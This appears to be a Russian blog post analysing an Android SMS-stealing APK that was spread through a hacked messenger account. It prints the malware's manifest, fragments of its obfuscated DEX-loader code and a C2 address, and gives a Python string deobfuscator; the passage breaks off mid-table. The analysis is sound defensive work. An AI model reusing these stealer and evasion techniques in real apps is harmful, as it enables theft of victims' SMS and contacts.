24 февраля 2026 года в 16 часов по Хабаровскому времени в мессенджере MAX от аккаунта папы приходит сообщения вида "Посмотри, это ты на фото" и следующим сообщением приложен файл "Фото(3).apk". Я сразу же позвонил отцу - интернет отключили, симку вытащили, а на следующий день он сходил в МФЦ и поменял пароль. Файл с вирусом скачать я не смог - через полчаса после этого аккаунт отца удалили за спам, плюс само сообщение я удалил. Но пока файл ещё был, я попросил брата переслать его мне, но скачать я его уже не мог - из-за удаления аккаунта.
Работу пояснительную хоть и проводили, но "был без очков, что-то тыкнул" и установил - когда у тебя телефон от Huawei без гугл сервисов, то все приложения плюс-минус так и ставились. Прошло время - аккаунт через месяц папе дали вновь зарегистрировать, телефон тот мы отложили от греха подальше, выдал свой старый Samsung A50 и про случай забыли. Но одним вечером, когда я лежал в кровати я подумал - "Стоп, если аккаунт восстановили, то и файл я могу скачать?" Зашел в чат с братом, долистал до пересланного сообщения и решил скачать файл вновь. И что вы думаете - я его скачал! Б - Безопасность. А раз файл скачан, то надо его проанализировать - о чём и будет статья.
Ссылки на материалы
Прежде чем начать оставлю список из статей на Хабре, которые освещают данную тему:
https://habr.com/ru/companies/k2tech/articles/879412/ - тут вирус не шифрован, очень повезло
https://habr.com/ru/companies/angarasecurity/articles/959476/
https://habr.com/ru/companies/angarasecurity/articles/973630/
https://habr.com/ru/companies/angarasecurity/articles/992388/
https://habr.com/ru/companies/usergate/articles/1028474/ - очень хорошая статья, я сошлюсь на неё позже.
Первичный осмотр
Первым делом отправляем файл на VirusTotal: https://www.virustotal.com/gui/file/f52786e3662ddf388cf8099e156da186ba6e77f76bf707c4d2d20b4e0f4ae2e8/detection
Когда я закидывал файл, то его распознало всего 18 штук, но уже на момент написания статьи 23 антивируса распознало данный файл. Ключевые моменты, что он encrypted и obfuscated. Это меня и тормознуло на небольшой срок. Во вкладке Behavior нас будет интересовать IP Traffic, а конкретно строка TCP 176.124.222.81:80. Запомним эту строку - она понадобится нам далее. В целом, больше ничего интересного нам нет - большую часть информации мы и так узнаем, когда будем смотреть внутренности APK.
Декомпилируем
Для работы нам понадобится:
APKTool: https://apktool.org/docs/install (https://github.com/iBotPeaches/Apktool).
JADX-GUI: https://github.com/skylot/jadx/releases (я делал под Windows всё, тем более есть комплект сразу с JRE - очень удобно).
OpenCode - будем через ИИ писать деобсуфикатор.
Качаем утилиты и погнали. Сам файл apk представляет zip архив, но при просмотре в архиваторе AndroidManifest.xml стоит параметр, что он под паролем. Как верно говорилось в статье - это ZIP poisoning (установка бита шифрования (0x0001) в поле general purpose flag для отдельных файлов). APKToolу меня без проблем извлек файлы, начинаем смотреть содержимое.
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0"
android:compileSdkVersion="34"
android:compileSdkVersionCodename="14"
package="com.reawlme.kcupeyue"
platformBuildVersionCode="34"
platformBuildVersionName="14">
<uses-sdk
android:minSdkVersion="23"
android:targetSdkVersion="34"/>
<uses-feature
android:name="android.hardware.telephony"
android:required="false"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/>
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
<permission
android:name="com.reawlme.kcupeyue.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>
<uses-permission android:name="com.reawlme.kcupeyue.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
<application
android:theme="@style/Theme.Defender"
android:label="@string/str_ulfvkg"
android:icon="@mipmap/ic_launcher"
android:name="L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO"
android:allowBackup="false"
android:supportsRtl="true"
android:extractNativeLibs="false"
android:usesCleartextTraffic="true"
android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<activity
android:theme="@style/Theme.Defender"
android:name="com.reawlme.kcupeyue.MainActivity"
android:exported="true"
android:excludeFromRecents="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.INFO"/>
</intent-filter>
</activity>
<activity
android:name="com.reawlme.kcupeyue.POIX1UVS23"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<action android:name="android.intent.action.SENDTO"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="sms"/>
<data android:scheme="smsto"/>
<data android:scheme="mms"/>
<data android:scheme="mmsto"/>
</intent-filter>
</activity>
<service
android:name="com.reawlme.kcupeyue.POIX1UVS20"
android:exported="false"/>
<service
android:name="com.reawlme.kcupeyue.POIX1UVS22"
android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="sms"/>
<data android:scheme="smsto"/>
<data android:scheme="mms"/>
<data android:scheme="mmsto"/>
</intent-filter>
</service>
<service
android:name="com.reawlme.kcupeyue.POIX1UVS21"
android:enabled="true"
android:exported="false"
android:foregroundServiceType="dataSync"/>
<service
android:name="com.reawlme.kcupeyue.POIX1UVS19"
android:enabled="true"
android:exported="false"/>
<receiver
android:name="com.reawlme.kcupeyue.POIX1UVS16"
android:permission="android.permission.BROADCAST_SMS"
android:exported="true">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.provider.Telephony.SMS_DELIVER"/>
</intent-filter>
</receiver>
<receiver
android:name="com.reawlme.kcupeyue.POIX1UVS12"
android:permission="android.permission.BROADCAST_WAP_PUSH"
android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
<data android:mimeType="application/vnd.wap.mms-message"/>
</intent-filter>
</receiver>
<receiver
android:name="com.reawlme.kcupeyue.POIX1UVS1"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.MY_PACKAGE_REPLACED"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</receiver>
<receiver
android:name="com.reawlme.kcupeyue.POIX1UVS18"
android:enabled="true"
android:exported="false"/>
<provider
android:name="androidx.startup.InitializationProvider"
android:exported="false"
android:authorities="com.reawlme.kcupeyue.androidx-startup">
<meta-data
android:name="androidx.emoji2.text.EmojiCompatInitializer"
android:value="androidx.startup"/>
<meta-data
android:name="androidx.lifecycle.ProcessLifecycleInitializer"
android:value="androidx.startup"/>
</provider>
<activity
android:name="com.truecaller.messaging.conversation.ConversationActivity"
android:exported="false"
android:screenOrientation="portrait"
android:parentActivityName="com.truecaller.ui.TruecallerInit"
android:allowEmbedded="true">
<intent-filter>
<action android:name="com.truecaller.OPEN_CONVERSATION"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<activity
android:name="edodpwmfjeji.efxosm.dkjskemd"
android:enabled="false"
android:screenOrientation="portrait"/>
<activity
android:name="oqzfksq.pqlqf.mrky"
android:enabled="false"
android:screenOrientation="portrait"
android:windowSoftInputMode="adjustResize"/>
<receiver
android:name="rfjdjdk.djfifjekkd.ciciidkdkf"
android:enabled="false"/>
<receiver
android:name="rfjfidikdf.jfifid.fjfid.fjer"
android:enabled="false"
android:exported="false">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
<action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
</intent-filter>
</receiver>
<receiver
android:name="ofpfpdlekdjxj.wjdjd.ejdjf.ididr"
android:enabled="false"/>
<receiver
android:name="cfidkd.djjdj.dkdkeiver"
android:enabled="false"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.PACKAGE_ADDED"/>
<data android:scheme="package"/>
</intent-filter>
</receiver>
<receiver
android:name="anfjfjfidkd.fkkfkdmde.ivfjfjfer"
android:permission="android.permission.DUMP"
android:enabled="false"
android:exported="true"
android:directBootAware="false">
<intent-filter>
<action android:name="androidx.work.diagnostics.REQUEST_DIAGNOSTICS"/>
</intent-filter>
</receiver>
<meta-data
android:name="android.app.shortcuts"
android:value="Maloy"/>
<meta-data
android:name="com.kaspersky.security.KsConnectService"
android:value="DycyX.mb"/>
<meta-data
android:name="com.kaspersky.security.NewKsConnectService"
android:value=".mb"/>
</application>
</manifest>
Из запрашиваемых разрешений нам сразу понятно, что это
SMS Stealer (RECEIVE_SMS/READ_SMS/SEND_SMS);
работает в автозапуске (RECEIVE_BOOT_COMPLETED);
читает не только СМС, но ещё и контакты (READ_PHONE_STATE/READ_CONTACTS/CALL_PHONE) - для того, чтобы потом рассылать вредоносную ссылку с вирусом;
лезет в интернет (INTERNET/ACCESS_NETWORK_STATE);
работает в фоне и имеет защиту от убийства процесса (FOREGROUND_SERVICE/WAKE_LOCK/SCHEDULE_EXACT_ALARM).
Понятное дело, что при установке всё это написано, но вот в такой ситуации папа внимание на всё это не обратил.
А мы обращаем внимание на следующие строчки:
<receiver android:name="com.reawlme.kcupeyue.POIX1UVS16"
android:permission="android.permission.BROADCAST_SMS"
android:exported="true">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.provider.Telephony.SMS_DELIVER"/>
</intent-filter>
</receiver>priority=2147483647 - это максимально возможный приоритет в Android, то есть этот ресивер получит SMS раньше любого легитимного приложения.
<meta-data
android:name="android.app.shortcuts"
android:value="Maloy"/>
<meta-data
android:name="com.kaspersky.security.KsConnectService"
android:value="DycyX.mb"/>
<meta-data
android:name="com.kaspersky.security.NewKsConnectService"
android:value=".mb"/>DycyX.mb — это упакованный DEX-файл, спрятанный в assets/. Kaspersky-совместимость нужна, чтобы избегать детекта (причем касперский этот вирус не видел пару недель назад, если судить по virustotal).
<activity android:name="com.truecaller.messaging.conversation.ConversationActivity"/>Здесь пытается "косить" под Truecaller (Определитель номера). В целом, бросающиеся в глаза параметры из XML отмечены, поэтому перейдём к файлам.

Как видно, функции все обсуфицированны, но часть информации можно достать.
Файл: app/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/Laed1011QFmO.java
Laed1011QFmO.java
package L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO;
import L28d0fa2QFmO.L74cd619QFmO.L433156bQFmO;
import L28d0fa2QFmO.L74cd619QFmO.L51a4aa6QFmO;
import L28d0fa2QFmO.L74cd619QFmO.L778b867QFmO;
import L28d0fa2QFmO.L74cd619QFmO.Ldacae8bQFmO;
import L28d0fa2QFmO.L74cd619QFmO.Lfb61d19QFmO;
import android.app.Application;
import android.content.Context;
import dalvik.system.BaseDexClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
/* JADX INFO: loaded from: classes.dex */
public class Laed1011QFmO extends Application {
public static final String F01425652Tlgx;
private static final short[] F48fce10cTlgx;
private static Context F53bed25dTlgx;
private static final short[] Febab3b5dTlgx = {570,....,}
.....
static {
String strQ21fbb13ezACV;
int iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234));
while (true) {
switch (iQ968726fazACV) {
case 1747841:
return;
case 1752617:
if (L9e63ba2QFmO.F0b0cb632Tlgx / (L0b4c3f2QFmO.F3432883eTlgx + 1172) == 0) {
iQ968726fazACV = Lfb61d19QFmO.F0cd5ee95Tlgx + L9e63ba2QFmO.F0b0cb632Tlgx + 1756117;
} else {
strQ21fbb13ezACV = L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 3, 3, 2342);
}
break;
case 1755339:
F01425652Tlgx = Ldacae8bQFmO.Q56c5a16bzACV(Q86c4afcbzACV(), 0, L9e63ba2QFmO.F0b0cb632Tlgx ^ 177, 842);
if ((Lfb61d19QFmO.F0cd5ee95Tlgx ^ (L51a4aa6QFmO.F6b3ca6d0Tlgx / 2585)) < 0) {
strQ21fbb13ezACV = L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 9, 3, 1974);
} else {
Lfb61d19QFmO.F0cd5ee95Tlgx = 46;
iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(L434d8b2QFmO.Qdd57eeb5zACV(Febab3b5dTlgx, 6, 3, 1350));
}
break;
case 1755464:
F48fce10cTlgx = new short[]{813, 815, 805, 789, 825, 830, 811, 830, 815, 868, 814, 811, 830, 652, 687, 686, 679, 652, 687, 673, 676, 3668, 3648, 3660, 3634, 3653, 3636, 2645, 3650, 3653, 3658, 3638, 3636, 3639, 3661, 3639, 3636, 3642, 2645, 3653, 3660, 3658, 3661, 3662, 3659, 3654, 3654, 3648, 3637, 1150, 1117, 1116, 1109, 1150, 1117, 1107, 1110, 2103, 2066, 2079, 2079, 2073, 2156, 3084, 2078, 2157, 2073, 3084, 2157, 2072, 2073, 2071, 2076, 2071, 2192, 2197, 2200, 2178, 2205, 2207, 2266, 2183, 2189, 2183, 2176, 2193, 2201, 2266, 2230, 2197, 2183, 2193, 2224, 2193, 2188, 2231, 2200, 2197, 2183, 2183, 2232, 2203, 2197, 2192, 2193, 2182, 1001, 1016, 1005, 1009, 981, 1008, 1002, 1005, 732, 733, 704, 765, 724, 733, 725, 733, 726, 716, 715, 2722, 2688, 2698, 2757, 2695, 2692, 2699, 2699, 2688, 2689};
iQ968726fazACV = (L51a4aa6QFmO.F6b3ca6d0Tlgx / L51a4aa6QFmO.F6b3ca6d0Tlgx) + 1755338;
continue;
}
iQ968726fazACV = L51a4aa6QFmO.Qcd2f7be1zACV(strQ21fbb13ezACV);
}
}
public Laed1011QFmO() {
/* Method dump skipped, instruction units count: 336
To view this dump change 'Code comments level' option to 'DEBUG' */
throw new UnsupportedOperationException("Method not decompiled: L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO.<init>():void");
}
@Override // android.content.ContextWrapper
protected void attachBaseContext(Context context) {
String strQ985f7048zACV;
ClassLoader classLoaderQ4afda25dzACV;
Object objQ99889ed5zACV;
String strQcbbc1254zACV;
String strQ94a7add9zACV;
File file;
Object[] objArr;
int length;
ClassLoader classLoaderQ4afda25dzACV2;
String strQdd57eeb5zACV;
String strQ90df6790zACV;
Object obj;
InputStream inputStreamQ5b2fde78zACV;
File file2;
String strQ985f7048zACV2;
Object objQ99889ed5zACV2;
Field fieldQ07e9ffc0zACV;
String strQcbbc1254zACV2;
String strQdd57eeb5zACV2;
Object obj2;
String strQ21fbb13ezACV;
Object[] objArr2;
String strQ90df6790zACV2;
String str = null;
String str2 = null;
int i = 0;
File file3 = null;
InputStream inputStream = null;
BaseDexClassLoader baseDexClassLoader = null;
String str3 = null;
File file4 = null;
ClassLoader classLoader = null;
ClassLoader classLoader2 = null;
Field field = null;
Object obj3 = null;
Object obj4 = null;
Object[] objArr3 = null;
Object[] objArr4 = null;
int i2 = 0;
int i3 = 0;
Object obj5 = null;
int iQde8db453zACV = L9e63ba2QFmO.Qde8db453zACV(L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 439, 3, 2991));
Field field2 = null;
File file5 = null;
File file6 = null;
FileOutputStream fileOutputStream = null;
while (true) {
switch (iQde8db453zACV) {
.....
case 1749728:
L0b4c3f2QFmO.Qdf390e38zACV(context);
BaseDexClassLoader baseDexClassLoader2 = new BaseDexClassLoader(str3, file4, null, classLoader);
if (L0b4c3f2QFmO.F3432883eTlgx / (L9e63ba2QFmO.F0b0cb632Tlgx ^ (-6593)) == 0) {
strQdd57eeb5zACV2 = L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 448, 3, 1561);
baseDexClassLoader = baseDexClassLoader2;
obj2 = obj3;
obj3 = obj2;
iQde8db453zACV = Ldacae8bQFmO.Q968726fazACV(strQdd57eeb5zACV2);
}
else {
Ldacae8bQFmO.Fac2bad8fTlgx = 69;
baseDexClassLoader = baseDexClassLoader2;
iQde8db453zACV = L9e63ba2QFmO.Qde8db453zACV(L433156bQFmO.Q21fbb13ezACV(Febab3b5dTlgx, 445, 3, 3205));
}
break;
case 1753604:
super.attachBaseContext(context);
iQde8db453zACV = (L51a4aa6QFmO.F6b3ca6d0Tlgx % Lfb61d19QFmO.F0cd5ee95Tlgx) ^ 1752152;
break;Класс Laed1011QFmO — это Application-класс стаба-загрузчика (в манифесте это строка android:name="L16a8154QFmO.L17abc0dQFmO.Lf2dbcccQFmO.Laed1011QFmO"). В указанном выше case 1749728 BaseDexClassLoader используется для динамической загрузки DEX во время выполнения - это по сути лоадер. А вот в case 1753604 вызывается метод attachBaseContext().
Когда идёт переопределение attachBaseContext в каком-то классе (например, в активности или в своём подклассе Application), обычно создаётся обёртка вокруг переданного Context через вспомогательный класс и затем вызывается super.attachBaseContext() с этой обёрткой (в нашем случае с переданным context). Внутри метода система проверяет: если базовый контекст уже был задан, выбрасывается исключение IllegalStateException - после этого все вызовы к текущему контексту делегируются обёрнутому объекту. Если сказать ещё проще - одно приложение вызывает внутри себя другое приложение.
Метод attachBaseContext() делает следующее:
Читает индикатор версии из файла в code cache:
// Laed1011QFmO.java:124
File file2 = new File(Ldacae8bQFmO.Q78cc340bzACV(context), Ldacae8bQFmO.Q28cadd5bzACV());
// = new File(context.getFilesDir(), "имя_файла")Копирует
DycyX.mbиз assets:
// Laed1011QFmO.java:561
inputStream = Ldacae8bQFmO.Q5b2fde78zACV(
Ldacae8bQFmO.Qb7f94f15zACV(context), // context.getAssets()
L0b4c3f2QFmO.Qeeb18469zACV() // "DycyX.mb"
);Загружает DEX через BaseDexClassLoader
Подменяет class loader через рефлексивный доступ к
ClassLoader.pathList.dexElements
// Laed1011QFmO.java:576-578
L51a4aa6QFmO.Q342c7838zACV(field2, true); // field.setAccessible(true)
Object[] objArr5 = (Object[]) L0b4c3f2QFmO.Q99889ed5zACV(field2, obj3); // field.get(obj)Если посмотреть на данный класс, то можно выделить 3 техники обфускации кода
Техника | Суть | Место в коде |
Control Flow Flattening | Исходный код разбивается на базовые блоки, находящиеся на одном уровне вложенности. Каждый блок получает уникальный номер или идентификатор. Это можно увидеть в следующей структуре — while(true) { switch(hash) } | Все методы в Laed1011QFmO.java. Вот этот большой case и реализует данную технику. |
XOR-строки | Строки закодированы в | Массивы |
Рефлексивные вызовы | API-вызовы обёрнуты в методы-прокладки с проверками | Классы |
Для примера Control Flow Flattening посмотрим ещё раз начало файла:
static {
int iQ968726fazACV = Ldacae8bQFmO.Q968726fazACV(
L778b867QFmO.Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234)
);
while (true) {
switch (iQ968726fazACV) {
case 1747841: return;
case 1752617: ...
case 1755339: ...
case 1755464: ...
}
iQ968726fazACV = L51a4aa6QFmO.Qcd2f7be1zACV(strQ21fbb13ezACV);
}
}Вызов метода Q985f7048zACV(Febab3b5dTlgx, 0, 3, 1234) декодирует 3-символьную строку из массива Febab3b5dTlgx (оффсет 0, длина 3) с ключом 1234. Затем Q968726fazACV() берёт hashCode() декодированной строки, и этот хеш становится номером case в switch. Из-за этого невозможно предсказать порядок выполнения без эмуляции.
А где же тогда расшифровываются эти строки? А всё просто - в файле app/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/L0b4c3f2QFmO.javaесть следующий код:
//строки 258-264
public static String Qcbbc1254zACV(short[] sArr, int i, int i2, int i3) {
char[] cArr = new char[i2];
for (int i4 = 0; i4 < i2; i4++) {
cArr[i4] = (char) (sArr[i + i4] ^ i3);
}
return new String(cArr);
}А в app/src/main/java/L28d0fa2QFmO/L74cd619QFmO/L51a4aa6QFmO.java есть похожий метод по своей структуре:
//строки 189-195
public static String Qdc2b7ffazACV(short[] sArr, int i, int i2, int i3) {
char[] cArr = new char[i2];
for (int i4 = 0; i4 < i2; i4++) {
cArr[i4] = (char) (sArr[i + i4] ^ i3);
}
return new String(cArr);
}В этих методах используется общая формула - (char)(short_array[offset + i] ^ key). Все похожие методы делают одно и то же (XOR), но находятся в разных классах.
На данном моменте я уже подключил ИИ - настроил OpenCode (с подключенным платным API Deepseek V4 Pro) и натравил на папку проекта с простым промтом вида "Есть обсуфицированный код, написанный на java - нужен скрипт для деобфускации" и уточнением, что нашёл в коде. Если бы я не воспользовался им, я бы писал статью дольше или вообще не дописал)
Пару минут размышлений и у меня есть уже готовый скрипт:
decode_malware.py
#!/usr/bin/env python3
"""
Deobfuscator for Android Banking Trojan encrypted strings.
Extracts and decodes XOR-obfuscated short[] arrays from JADX-decompiled Java source.
Decoding formula: (char)(short_array[i] ^ key)
Usage:
python decode_malware.py --jadx-dir ./payload_jadx # parse JADX output
python decode_malware.py --jadx-dir . --scan-arrays # find all arrays first
python decode_malware.py --jadx-dir . --bruteforce # brute-force keys
python decode_malware.py --jadx-dir . --export-json out # export decoded to JSON
"""
import re
import sys
import os
import json
import argparse
from collections import defaultdict
# ─── Known static field values ──────────────────────────────────────
FIELDS = {
"F3432883eTlgx": -486, # L0b4c3f2QFmO
"F0b0cb632Tlgx": 188, # L9e63ba2QFmO
"Fac2bad8fTlgx": -437, # Ldacae8bQFmO
"F6b3ca6d0Tlgx": 467, # L51a4aa6QFmO
"F0cd5ee95Tlgx": 46, # Lfb61d19QFmO
}
# ─── Core decode function ───────────────────────────────────────────
def xor_decode(arr, offset, length, key):
"""Decode segment: (char)((short)arr[offset+i] ^ key)."""
chars = []
for i in range(length):
val = arr[offset + i]
# Emulate Java signed short
if val > 32767:
val = val - 65536
char_code = (val ^ key) & 0xFFFF
chars.append(chr(char_code))
return ''.join(chars)
def is_printable(s):
"""Check if all chars are printable ASCII or common Unicode letters."""
for c in s:
o = ord(c)
if o < 32 or o > 126:
if o < 0x0400 or o > 0x04FF: # not Cyrillic either
return False
return True
# ─── Parser for JADX Java files ─────────────────────────────────────
def parse_java_file(filepath):
"""Parse a JADX-decompiled Java file and return arrays + calls."""
with open(filepath, 'r', encoding='utf-8', errors='replace') as f:
content = f.read()
arrays = {}
calls = []
# Extract short[] arrays: short[] Name = {1, 2, ...};
# Match multi-line definitions too
block_pattern = re.compile(
r'(?:private|public|static|final|\s)*short\[\]\s+(\w+)\s*=\s*\{([^}]+)\}',
re.DOTALL
)
for match in block_pattern.finditer(content):
name = match.group(1)
raw = match.group(2)
# Remove whitespace and comments
raw = re.sub(r'/\*.*?\*/', '', raw)
raw = re.sub(r'//.*', '', raw)
values = []
for v in raw.split(','):
v = v.strip()
if v:
try:
values.append(int(v))
except ValueError:
pass
if values:
arrays[name] = values
# Extract static-init assignments: F48fce10cTlgx = new short[]{...};
init_pattern = re.compile(
r'(\w+)\s*=\s*new\s+short\[\]\s*\{([^}]+)\}',
re.DOTALL
)
for match in init_pattern.finditer(content):
name = match.group(1)
raw = match.group(2)
raw = re.sub(r'/\*.*?\*/', '', raw)
raw = re.sub(r'//.*', '', raw)
values = []
for v in raw.split(','):
v = v.strip()
if v:
try:
values.append(int(v))
except ValueError:
pass
if values:
arrays[name] = values
# Extract decode calls: Qcbbc1254zACV(ArrayName, offset, length, keyExpr)
call_pattern = re.compile(
r'(Q[a-zA-Z0-9]+)\((\w+),\s*(\d+),\s*(\d+),\s*([^)]+)\)'
)
for match in call_pattern.finditer(content):
fn = match.group(1)
arr_name = match.group(2)
offset = int(match.group(3))
length = int(match.group(4))
key_expr = match.group(5).strip()
calls.append({
'function': fn,
'array_ref': arr_name,
'offset': offset,
'length': length,
'key_expr': key_expr,
'file': os.path.basename(filepath),
})
return arrays, calls
def compute_key_expr(expr):
"""Try to evaluate a key expression like 'Lxyz.Fabc ^ 180'."""
for field, value in FIELDS.items():
expr = expr.replace(field, str(value))
# Remove class prefixes
expr = re.sub(r'\w+\.', '', expr)
try:
return eval(expr, {"__builtins__": {}}, {})
except:
return None
# ─── Array scanner ─────────────────────────────────────────────────
def scan_arrays(all_arrays, all_calls):
"""Smart scan: find keys that produce readable strings for each array."""
print(f"\n{'='*60}")
print(f"SMART DECODING: {len(all_arrays)} arrays, {len(all_calls)} calls")
print(f"{'='*60}")
results = []
for arr_full_name, arr in all_arrays.items():
arr_name_short = arr_full_name.split("::")[-1]
if not arr or len(arr) < 3:
continue
# Strategy 1: Use key expressions from calls that reference this array
for call in all_calls:
if call['array_ref'] == arr_name_short:
key = compute_key_expr(call['key_expr'])
if key is not None and call['offset'] + call['length'] <= len(arr):
s = xor_decode(arr, call['offset'], call['length'], key)
if is_printable(s):
results.append({
'string': s,
'array': arr_full_name,
'key': key,
'key_expr': call['key_expr'],
'offset': call['offset'],
'length': call['length'],
'file': call['file'],
})
# Strategy 2: Brute-force segments that look like they contain
# sequential printable chars
best_key, best_count = find_best_key(arr, min_len=2)
if best_count >= 3:
decoded = decode_full_array(arr, best_key)
# Show max 80 chars
results.append({
'string': decoded[:120],
'array': arr_full_name,
'key': best_key,
'key_expr': f'bruteforce(best={best_count} printable)',
'offset': 0,
'length': len(arr),
'file': '(auto)',
})
# Print results (handle Windows console encoding)
seen = set()
for r in results:
s = r['string']
if s and s not in seen:
seen.add(s)
k = r['key']
print(f" [{r['array']}]")
print(f" key={k:5d} (0x{k&0xFFFF:04x}) len={r['length']:4d} offset={r['offset']:4d}")
try:
print(f" => \"{s}\"")
except UnicodeEncodeError:
# Fallback: show hex
hex_repr = ' '.join(f'{ord(c):04x}' for c in s)
print(f" => [hex] {hex_repr}")
print()
return results
def find_best_key(arr, min_len=2):
"""Find the XOR key that maximizes printable chars across the array."""
best_key = 0
best_count = 0
for key in range(0, 65536):
count = 0
for val in arr:
if val > 32767:
val -= 65536
c = (val ^ key) & 0xFFFF
if 32 <= c <= 126 or 0x0400 <= c <= 0x04FF:
count += 1
if count > best_count:
best_count = count
best_key = key
# Early exit if perfect
if best_count == len(arr):
break
return best_key, best_count
def decode_full_array(arr, key):
"""Decode entire array with a given key."""
chars = []
for val in arr:
if val > 32767:
val -= 65536
c = (val ^ key) & 0xFFFF
chars.append(chr(c) if 32 <= c <= 65535 else f'\\u{c:04x}')
return ''.join(chars)
# ─── Brute-force mode ──────────────────────────────────────────────
def brute_force_all(all_arrays):
"""Try all keys 0-65535 and report arrays that decode to readable text."""
print(f"\n{'='*60}")
print(f"BRUTE-FORCE MODE: {len(all_arrays)} arrays")
print(f"{'='*60}")
for arr_full_name, arr in all_arrays.items():
if len(arr) < 3:
continue
best_key, best_count = find_best_key(arr)
if best_count >= len(arr) * 0.7 and best_count >= 5:
decoded = decode_full_array(arr, best_key)[:200]
print(f"\n[{arr_full_name}] len={len(arr)}, printable={best_count}/{len(arr)}")
print(f" key={best_key} (0x{best_key&0xFFFF:04x})")
print(f" \"{decoded}\"")
# ─── Main pipeline ─────────────────────────────────────────────────
def process_jadx_dir(jadx_dir, mode='smart'):
"""Walk JADX directory, parse all Java files, decode strings."""
if not os.path.isdir(jadx_dir):
print(f"[!] Not a directory: {jadx_dir}")
return []
all_arrays = {}
all_calls = []
file_count = 0
for root, dirs, files in os.walk(jadx_dir):
for fname in files:
if fname.endswith('.java'):
fpath = os.path.join(root, fname)
rel = os.path.relpath(fpath, jadx_dir)
try:
arrs, calls = parse_java_file(fpath)
for name, vals in arrs.items():
all_arrays[f"{rel}::{name}"] = vals
all_calls.extend(calls)
file_count += 1
except Exception as e:
print(f" [skip] {fname}: {e}")
print(f"Parsed {file_count} files: {len(all_arrays)} arrays, {len(all_calls)} calls")
if mode == 'scan':
# Just list arrays and their sizes
for name, arr in sorted(all_arrays.items(), key=lambda x: -len(x[1])):
if len(arr) >= 10:
print(f" {name} ({len(arr)} items)")
return []
if mode == 'bruteforce':
return brute_force_all(all_arrays)
if mode == 'smart':
return scan_arrays(all_arrays, all_calls)
return []
# ─── CLI ────────────────────────────────────────────────────────────
if __name__ == "__main__":
# Force UTF-8 output on Windows
if sys.platform == 'win32':
import io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')
sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace')
parser = argparse.ArgumentParser(
description="Decode XOR-obfuscated strings from Android malware JADX output"
)
parser.add_argument("--jadx-dir", default=".", help="JADX decompiled output directory")
parser.add_argument("--mode", choices=["smart", "bruteforce", "scan"],
default="smart", help="Decoding mode")
parser.add_argument("--export-json", help="Export decoded strings to JSON file")
args = parser.parse_args()
results = process_jadx_dir(args.jadx_dir, args.mode)
if args.export_json and results:
with open(args.export_json, 'w', encoding='utf-8') as f:
json.dump(results, f, indent=2, ensure_ascii=False)
print(f"Exported {len(results)} strings to {args.export_json}")
if not results:
print("\nTip: For extracting string URLs from payload.dex:")
print(" 1. Decompile payload.dex with: jadx -d payload_jadx payload.dex")
print(" 2. Run: python decode_malware.py --jadx-dir payload_jadx --mode bruteforce")
print(" 3. Run: python decode_malware.py --jadx-dir payload_jadx --mode smart")
В начале каждого класса используются следующие статические поля:
Поле | Начальное значение | Класс:строка в коде |
